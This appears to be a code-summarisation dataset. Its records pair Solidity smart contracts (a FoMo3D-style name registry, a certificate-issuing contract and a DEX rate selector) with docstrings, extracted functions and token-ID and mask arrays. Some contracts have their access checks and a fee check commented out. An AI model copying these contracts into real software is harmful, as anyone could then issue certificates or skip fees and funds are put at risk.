0x00aBBff93b10Ece374B14abb70c4e588BA1F799F, "only dev" ); _; } //level check modifier isLevel(uint8 _level) { require(_level >= 0 && _level <= 3, "invalid level"); require(msg.value >= levelValue_[_level], "sorry request price less than affiliate level"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addSuperPlayer(address _addr, bytes32 _name, uint8 _level) private { pID_++; plyr_[pID_].addr = _addr; plyr_[pID_].name = _name; plyr_[pID_].names = 1; plyr_[pID_].level = _level; pIDxAddr_[_addr] = pID_; pIDxName_[_name] = pID_; plyrNames_[pID_][_name] = true; plyrNameList_[pID_][1] = _name; superPlayers_.push(pID_); //fire event emit eveSuperPlayer(_name,pID_,_addr,_level); } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // BALANCE //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function balances() public view returns(uint256) { return (address(this).balance); } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // DEPOSIT //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function deposit() validAddress(msg.sender) external payable returns (bool) { if(msg.value>0){ referralsVault_ += msg.value; emit eveDeposit(msg.sender, msg.value, address(this).balance); return true; } return false; } function updateRankBoard(uint256 _pID,uint256 _cost) isRegisteredGame() validAddress(msg.sender) external { uint256 _affID = plyr_[_pID].laff; if(_affID<=0){ return ; } if(_cost<=0){ return ; } //just for level 3 player if(plyr_[_affID].level != 3){ return ; } uint256 _affReward = _cost.mul(5)/100; //calc round charge if( plyr_[_affID].round == roundNumber_ ){ //same round plyr_[_affID].cost += _affReward; } else{ //diffrent round plyr_[_affID].cost = _affReward; plyr_[_affID].round = roundNumber_; } //check board players bool inBoard = false; for( uint8 i=0; i<rankNumbers_; i++ ){ if( _affID == rankPlayers_[i] ){ //update inBoard = true; rankCost_[i] = plyr_[_affID].cost; break; } } if( inBoard == false ){ //find the min charge player uint256 minCost = plyr_[_affID].cost; uint8 minIndex = rankNumbers_; for( uint8 k=0; k<rankNumbers_; k++){ if( rankCost_[k] < minCost){ minIndex = k; minCost = rankCost_[k]; } } if( minIndex != rankNumbers_ ){ //replace rankPlayers_[minIndex] = _affID; rankCost_[minIndex] = plyr_[_affID].cost; } } emit eveUpdate( _affID,roundNumber_,plyr_[_affID].cost,_cost); } // function resolveRankBoard() //isRegisteredGame() validAddress(msg.sender) external { uint256 deltaBlockCount = block.number - startBlockNumber_; if( deltaBlockCount < roundBlockCount_ ){ return; } //update start block number startBlockNumber_ = block.number; // emit eveResolve(startBlockNumber_,roundNumber_); roundNumber_++; //reward uint256 allCost = 0; for( uint8 k=0; k<rankNumbers_; k++){ allCost += rankCost_[k]; } if( allCost > 0 ){ uint256 reward = 0; uint256 roundVault = referralsVault_.sub(lastRefrralsVault_); for( uint8 m=0; m<rankNumbers_; m++){ uint256 pid = rankPlayers_[m]; if( pid>0 ){ reward = (roundVault.mul(8)/10).mul(rankCost_[m])/allCost; lastRefrralsVault_ += reward; plyr_[pid].rreward += reward; emit eveReward(rankPlayers_[m],plyr_[pid].rreward, reward,referralsVault_,allCost, lastRefrralsVault_); } } } //reset rank data rankPlayers_.length=0; rankCost_.length=0; rankPlayers_.length=10; rankCost_.length=10; } /** * Withdraws all of the callers earnings. */ function myReward() public view returns(uint256) { uint256 pid = pIDxAddr_[msg.sender]; return plyr_[pid].rreward; } function withdraw() onlyHaveReward() isHuman() public { address addr = msg.sender; uint256 pid = pIDxAddr_[addr]; uint256 reward = plyr_[pid].rreward; //reset plyr_[pid].rreward = 0; //get reward addr.transfer(reward); // fire event emit eveWithdraw(pIDxAddr_[addr], addr, reward, balances()); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all, uint8 _level) isHuman() isLevel(_level) public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all, _level); } function registerNameXaddr(string _nameString, address _affCode, bool _all, uint8 _level) isHuman() isLevel(_level) public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all, _level); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all, uint8 _level) isHuman() isLevel(_level) public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all, _level); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff, 0); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff, 0); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all, uint8 _level) private { // if names already has been used, require that current msg sender owns the name if( pIDxName_[_name] == _pID && _pID !=0 ){ //level up must keep old name! if (_level >= plyr_[_pID].level ) { require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); } } else if (pIDxName_[_name] != 0){ require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); } // add name to player profile, registry, and name book plyr_[_pID].name = _name; plyr_[_pID].level = _level; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards Community_Wallet1.transfer(msg.value / 2); Community_Wallet2.transfer(msg.value / 2); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID, _level); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getPlayerLevel(uint256 _pID) external view returns (uint8) { return (plyr_[_pID].level); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function setPlayerAffID(uint256 _pID,uint256 _laff) isRegisteredGame() external { plyr_[_pID].laff = _laff; emit eveSetAffID(_pID, plyr_[_pID].addr, _laff, plyr_[_laff].addr); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all, uint8 _level) isRegisteredGame() isLevel(_level) external payable returns(bool, uint256) { // make sure name fees paid //TODO 已经通过 islevel //require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate if (plyr_[_pID].laff == 0) plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all, _level); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all, uint8 _level) isRegisteredGame() isLevel(_level) external payable returns(bool, uint256) { // make sure name fees paid //TODO 已经通过 islevel //require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate if (plyr_[_pID].laff == 0) plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all, _level); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all, uint8 _level) isRegisteredGame() isLevel(_level) external payable returns(bool, uint256) { // make sure name fees paid //TODO 已经通过 islevel //require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate if (plyr_[_pID].laff == 0) plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all, _level); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); deleteProposal("addGame"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); for(uint8 i=0; i<superPlayers_.length; i++){ uint256 pid =superPlayers_[i]; if( pid > 0 ){ games_[gID_].receivePlayerInfo(pid, plyr_[pid].addr, plyr_[pid].name, 0, plyr_[pid].level); } } } function setRegistrationFee(uint256 _fee) onlyDevs() public { deleteProposal("setRegistrationFee"); registrationFee_ = _fee; } }
make sure name fees paid TODO 已经通过 islevelrequire (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); set up our tx event data and determine if player is new or not fetch player id manage affiliate residuals if no affiliate code was given or player tried to use their own, lolz get affiliate ID from aff Code if affID is not the same as previously stored update last affiliate
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all, uint8 _level) isRegisteredGame() isLevel(_level) external payable returns(bool, uint256) { bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { if (plyr_[_pID].laff == 0) plyr_[_pID].laff = _affID; } } return(_isNewPlayer, _affID); }
6,075,937
[ 1, 6540, 3071, 508, 1656, 281, 30591, 2660, 225, 166, 120, 115, 168, 124, 242, 170, 227, 253, 169, 128, 234, 353, 2815, 6528, 261, 3576, 18, 1132, 1545, 7914, 14667, 67, 16, 315, 379, 81, 838, 2777, 225, 1846, 1240, 358, 8843, 326, 508, 14036, 8863, 444, 731, 3134, 2229, 871, 501, 471, 4199, 309, 7291, 353, 394, 578, 486, 2158, 7291, 612, 10680, 7103, 330, 3840, 29252, 309, 1158, 7103, 330, 3840, 981, 1703, 864, 578, 7291, 12928, 358, 999, 3675, 4953, 16, 328, 355, 94, 336, 7103, 330, 3840, 1599, 628, 7103, 3356, 309, 7103, 734, 353, 486, 326, 1967, 487, 7243, 4041, 1089, 1142, 7103, 330, 3840, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1744, 461, 60, 529, 1265, 40, 2910, 12, 2867, 389, 4793, 16, 1731, 1578, 389, 529, 16, 1731, 1578, 389, 7329, 1085, 16, 1426, 389, 454, 16, 2254, 28, 389, 2815, 13, 203, 3639, 353, 10868, 12496, 1435, 203, 3639, 353, 2355, 24899, 2815, 13, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 3639, 1135, 12, 6430, 16, 2254, 5034, 13, 203, 565, 288, 203, 540, 203, 3639, 1426, 389, 291, 1908, 12148, 273, 4199, 16522, 24899, 4793, 1769, 203, 540, 203, 3639, 2254, 5034, 389, 84, 734, 273, 293, 734, 92, 3178, 67, 63, 67, 4793, 15533, 203, 540, 203, 3639, 2254, 5034, 389, 7329, 734, 31, 203, 3639, 309, 261, 67, 7329, 1085, 480, 1408, 597, 389, 7329, 1085, 480, 389, 529, 13, 203, 3639, 288, 203, 5411, 389, 7329, 734, 273, 293, 734, 92, 461, 67, 63, 67, 7329, 1085, 15533, 203, 2398, 203, 5411, 309, 261, 67, 7329, 734, 480, 293, 715, 86, 67, 63, 67, 84, 734, 8009, 80, 7329, 13, 203, 5411, 288, 203, 7734, 309, 261, 1283, 86, 67, 63, 67, 84, 734, 8009, 80, 7329, 422, 374, 13, 203, 10792, 293, 715, 86, 67, 63, 67, 84, 734, 8009, 80, 7329, 273, 389, 7329, 734, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 203, 540, 203, 3639, 327, 24899, 291, 1908, 12148, 16, 389, 7329, 734, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.2; pragma experimental ABIEncoderV2; contract Certify { event OrgCreated(address _from, Org addr); event UserCreated(address _from, User addr); mapping(address => User) public allUsers; mapping(address => Org) public allOrgs; string public testWord; // Constructor function Certify() public { testWord = "Blockchain at UCI"; } // For testing purposes function setTestWord() public returns (string) { testWord = "HI"; } // For testing purposes function viewTestWord() public view returns (string) { return testWord; } // get name of user based on address function viewUsersName(address identifier) public view returns (string) { return allUsers[identifier].getName(); } // view the addresses of the certificates the user ownes // <param name=identifier> The address of the User creator. (Uses AllUsers mapping to get User object) <param/> function viewUsersCertificates(address identifier) public view returns (Certification[]) { return allUsers[identifier].getCertifications(); } // function viewUsersCertificateNames(address identifier) public view returns (string[]) // { // string[] names; // for(uint i = 0; i < allUsers[identifier].getCertifications().length; i++) // { // names.push(allUsers[identifier].getCertifications()[i].getName()); // } // return names; // } // view the names of the certificates the user owns // <param name=user> The address of the User object <param/> function viewUsersCertificateNames(User user) public view returns (string[]) { string[] names; for(uint i = 0; i < user.getCertifications().length; i++) { names.push(user.getCertifications()[i].getName()); } return names; } // identifier is either a address or a username // We'll only use address for now but later add if statement to differentiate function searchForUser(address identifier) returns (User) { return allUsers[identifier]; } // When user creates an account // Only function that Users call // Creates an event so that we get the address function createNewUser(string _name, string _username) returns (address) { User user = new User(_name, _username); allUsers[msg.sender] = user; UserCreated(msg.sender, user); } // When an organization creates a new organization // Creates an event so that we get the address function createNewOrg(string _name) returns (Org) { Org org = new Org(_name, msg.sender); allOrgs[msg.sender] = org; OrgCreated(msg.sender, org); } // get the actual User object from an address function getUser(address user_address) returns (User) { return allUsers[user_address]; } // get the actual Org object from an address function getOrg(address org_address) public view returns (Org) { return allOrgs[org_address]; } // get the Org that belongs to the msg.sender address function getCurrentOrg() public view returns (Org) { return getOrg(msg.sender); } function getUserFromAddress(address identifier) public view returns (User) { return allUsers[identifier]; } } contract User { string name; string username; Certification[] certificationsRecieved; function getName() public view returns (string) { return name; } function User(string _name, string _username) public { name = _name; username = _username; } // return the certification addresses that User holds function getCertifications() returns (Certification[]) { return certificationsRecieved; } // add a certification to list of certifications recieved function addToCertificationsRecieved(Certification certificate) { certificationsRecieved.push(certificate); } } contract Org { string name; // address of the creator of the org address addressBelongsTo; Certification[] certificationsOwned; function Org(string _name, address _addressBelongsTo) public { name = _name; addressBelongsTo = _addressBelongsTo; } // Get the address of the creator of the org. function getAddressBelongsTo() returns (address) { return addressBelongsTo; } // function createNewCertificate(string _name, string _description) { // require(msg.sender == addressBelongsTo); Certification certificate = new Certification(_name, _description, addressBelongsTo); certificationsOwned.push(certificate); } function linkUserWithCertificate(User user, Certification certificate) { // require(msg.sender == addressBelongsTo); // need to require that the certification is in the org's certificationsOwned //require(ownsCertification(certificate)); user.addToCertificationsRecieved(certificate); certificate.addToRecievers(user); } // determine if certification is inside certificationsOwned function ownsCertification(Certification certificate) returns (bool) { for (uint i = 0; i < certificationsOwned.length; i++) { if (certificationsOwned[i] == certificate) { return true; } } return false; } // View the first certificate the org ownes function viewFirstCertificate() public view returns (Certification) { return certificationsOwned[0]; } // returns list of all certificates org ownes function viewAllCertificates() public view returns (Certification[]) { return certificationsOwned; } function viewSpecificCertificate(uint index) public view returns (Certification) { return certificationsOwned[index]; } } contract Certification { string name; string description; address addressOrgBelongsTo; User[] recievers; function Certification(string _name, string _description, address _addressOrgBelongsTo) public { name = _name; description = _description; addressOrgBelongsTo = _addressOrgBelongsTo; } // add user to list of people who have recieved certificate function addToRecievers(User user) { //require(msg.sender == addressOrgBelongsTo); recievers.push(user); } function getName() public view returns (string) { return name; } }
view the names of the certificates the user owns <param name=user> The address of the User object <param/>
function viewUsersCertificateNames(User user) public view returns (string[]) { string[] names; for(uint i = 0; i < user.getCertifications().length; i++) { names.push(user.getCertifications()[i].getName()); } return names; }
12,749,121
[ 1, 1945, 326, 1257, 434, 326, 12522, 326, 729, 29065, 411, 891, 508, 33, 1355, 34, 1021, 1758, 434, 326, 2177, 733, 411, 891, 21259, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1476, 6588, 4719, 1557, 12, 1299, 729, 13, 1071, 1476, 1135, 261, 1080, 63, 5717, 203, 565, 288, 203, 3639, 533, 8526, 1257, 31, 203, 3639, 364, 12, 11890, 277, 273, 374, 31, 277, 411, 729, 18, 588, 5461, 6640, 7675, 2469, 31, 277, 27245, 203, 202, 565, 288, 203, 202, 3639, 1257, 18, 6206, 12, 1355, 18, 588, 5461, 6640, 1435, 63, 77, 8009, 17994, 10663, 203, 202, 565, 289, 203, 202, 565, 327, 1257, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x038698e3BAe6b3e30D6b94202299192bfE69c692/sources/browser/LoanShifterTaker_flat.sol
@notice Finds the smallest rate between exchanges, needed for buy rate @param _expectedRateKyber Kyber rate @param _expectedRateUniswap Uniswap rate @param _expectedRateOasis Oasis rate
function getSmallestRate( uint _expectedRateKyber, uint _expectedRateUniswap, uint _expectedRateOasis ) internal pure returns (address, uint) { if ( (_expectedRateUniswap <= _expectedRateKyber) && (_expectedRateUniswap <= _expectedRateOasis) ) { return (UNISWAP_WRAPPER, _expectedRateUniswap); } if ( (_expectedRateKyber <= _expectedRateUniswap) && (_expectedRateKyber <= _expectedRateOasis) ) { return (KYBER_WRAPPER, _expectedRateKyber); } if ( (_expectedRateOasis <= _expectedRateKyber) && (_expectedRateOasis <= _expectedRateUniswap) ) { return (OASIS_WRAPPER, _expectedRateOasis); } }
3,048,053
[ 1, 8947, 326, 13541, 4993, 3086, 431, 6329, 16, 3577, 364, 30143, 4993, 225, 389, 3825, 4727, 47, 93, 744, 1475, 93, 744, 4993, 225, 389, 3825, 4727, 984, 291, 91, 438, 1351, 291, 91, 438, 4993, 225, 389, 3825, 4727, 51, 17247, 531, 17247, 4993, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
